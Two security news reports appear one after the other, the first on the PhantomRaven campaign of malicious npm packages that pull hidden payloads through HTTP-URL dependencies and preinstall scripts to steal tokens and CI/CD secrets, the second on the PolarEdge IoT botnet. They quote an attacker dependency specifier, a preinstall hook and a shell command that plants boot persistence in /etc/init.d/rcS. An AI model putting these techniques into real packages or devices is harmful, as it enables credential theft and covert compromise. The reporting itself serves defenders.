A sophisticated malware campaign targeting developers has been operating since August 2025, deploying 126 malicious npm packages that have collectively accumulated over 86,000 downloads.

The attack, now identified as PhantomRaven, has been actively harvesting npm authentication tokens, GitHub credentials, and CI/CD pipeline secrets from developers across the globe while employing advanced detection evasion techniques that bypass most security tools.

Koi analysts identified the campaign in October 2025 when their behavioral monitoring system, Wings, flagged suspicious network activity during package installation processes.

All malicious packages were making external requests to the same suspicious domain, revealing a coordinated operation.

The investigation by Koi researchers uncovered a staggering timeline: 21 packages were initially detected and removed in August 2025, but attackers adapted their approach, successfully deploying 80 additional packages between September and October that evaded detection mechanisms entirely.

The attacker’s infrastructure demonstrates an interesting contrast between sophisticated technical execution and surprisingly careless operational security.

Sequential email accounts from free providers like jpdtester01@hotmail.com through jpdtester13@gmail.com, combined with obvious usernames such as npmhell and npmpackagejpd, all clearly trace back to a single threat actor.

Despite this operational sloppiness, the technical delivery mechanism represents a genuine innovation in supply chain attacks.

The malicious packages appeared completely benign when reviewed on npmjs.com, displaying simple hello world scripts with seemingly zero dependencies.

This illusion was achieved through a technique involving Remote Dynamic Dependencies, where HTTP URLs serve as dependency specifiers rather than traditional npm registry references.

The malicious code resided not in the reviewed package but in an invisible dependency fetched from packages.storeartifact.com at installation time, completely bypassing static analysis and dependency scanning tools.

Remote Dynamic Dependencies Deliver the Payload

Traditional npm dependencies reference packages hosted on npmjs.com using standard version specifiers like "express": "^4.18.0".

However, npm supports an obscure feature allowing HTTP URLs as dependency specifiers, formatted as "ui-styles-pkg": "http://packages.storeartifact.com/ui-styles-pkg.tgz".

When developers install packages containing these remote dependencies, npm automatically fetches the external resources without any security validation or visibility.

Security scanners and automated analysis tools never follow these HTTP-based dependencies, treating packages as having zero dependencies despite the hidden malicious payload.

This creates a perfect blind spot where the reviewed package appears completely safe while the actual malicious code sits on attacker-controlled infrastructure.

The technique becomes even more dangerous because every installation fetches the dependency fresh from the attacker’s server, enabling dynamic payload delivery based on the target environment.

Once the invisible dependency arrives on the victim’s system, npm’s automatic lifecycle script execution ensures the malware activates immediately.

The malicious package.json contains a preinstall script defined as "preinstall": "node index[.]js" that executes automatically without any user prompt or warning.

This script runs regardless of how deeply nested the malicious package sits within the dependency tree, meaning developers who install seemingly legitimate packages can unknowingly trigger PhantomRaven’s execution through transitive dependencies.

After successful installation, PhantomRaven systematically harvests email addresses from environment variables, .gitconfig files, .npmrc configurations, and package.json author fields.

The malware then targets CI/CD credentials including GitHub Actions tokens, GitLab CI credentials, Jenkins authentication, CircleCI tokens, and npm publishing tokens.

Complete system fingerprinting follows, collecting public IP addresses, hostnames, operating system details, Node.js versions, and network configurations to profile victim environments and identify high-value corporate networks versus individual developer machines.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post PhantomRaven Attack Involves 126 Malicious npm Packages with Over 86,000 Downloads Hiding Malicious Code appeared first on Cyber Security News.

A sophisticated botnet campaign has compromised more than 25,000 IoT devices across 40 countries while establishing 140 command-and-control servers to facilitate cybercrime operations.

The PolarEdge botnet, first disclosed in February 2025, exploits vulnerable IoT and edge devices to construct an Operational Relay Box network that provides infrastructure-as-a-service for advanced persistent threat actors.

The malware operates through a client-server architecture, with RPX_Client components installed on compromised devices and RPX_Server nodes managing proxy services across multiple cloud platforms.

The botnet’s infection campaign began gaining momentum in May 2025 when security monitoring systems detected suspicious activity from IP address 111.119.223.196 distributing an ELF file flagged as PolarEdge-related.

Through correlation analysis, researchers uncovered the RPX_Client component, which onboards compromised devices into designated C2 node proxy pools while enabling remote command execution.

Qianxin researchers identified the malware after conducting targeted investigation following detection by XLab’s Cyber Threat Insight and Analysis System.

The successive discoveries of RPX_Server and RPX_Client components enabled deeper understanding of the botnet’s relay operations and infrastructure scale.

Geographic distribution analysis reveals infection concentration in Southeast Asia and North America, with South Korea accounting for 41.97 percent of compromised devices, followed by China at 20.35 percent and Thailand at 8.37 percent.

Primary targets include KT CCTV systems, Shenzhen TVT DVRs, Cyberoam UTM appliances, and various router models from manufacturers including Asus, DrayTek, Cisco, and D-Link.

The botnet infrastructure operates across VPS nodes concentrated in autonomous system numbers 45102, 37963, and 132203, predominantly hosted on Alibaba Cloud and Tencent Cloud platforms.

Technical Architecture and Infection Mechanism

The RPX system implements a multi-hop proxy architecture designed for source concealment and attribution complexity. When attackers utilize the network, connections traverse from local proxy through RPX_Server to RPX_Client on compromised devices before reaching final destinations.

This layered approach effectively obscures attack origins while providing operational flexibility. The malware achieves persistence through injection into initialization scripts using the command:-

echo "/bin/sh /mnt/mtd/rpx.sh &" >> /etc/init.d/rcS

Upon execution, RPX_Client disguises its process name as connect_server and enforces single-instance execution using PID file /tmp/.msc to prevent duplicate startups.

The malware attempts reading global configuration file .fccq to obtain parameters including C2 server address, communication port, device UUID, and brand information.

Configuration data undergoes single-byte XOR encryption with 0x25 before storage. Network operations utilize two independent connections: port 55555 for node registration and traffic proxying, and port 55560 for remote command execution through go-admin service.

The command structure enables flexible control through magic field values 0x11, 0x12, and 0x16 that define bot functions. Special built-in commands include change_pub_ip for updating C2 server addresses and update_vps for sample self-upgrade capabilities.

Server logs confirm execution of infrastructure migration commands, demonstrating operators’ ability to rapidly relocate proxy pools when nodes face exposure.

Traffic analysis reveals non-targeted operations primarily directed toward mainstream platforms including QQ, WeChat, Google, and Cloudflare services.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post PolarEdge Botnet Infected 25,000+ Devices and 140 C2 Servers Exploiting IoT Vulnerabilities appeared first on Cyber Security News.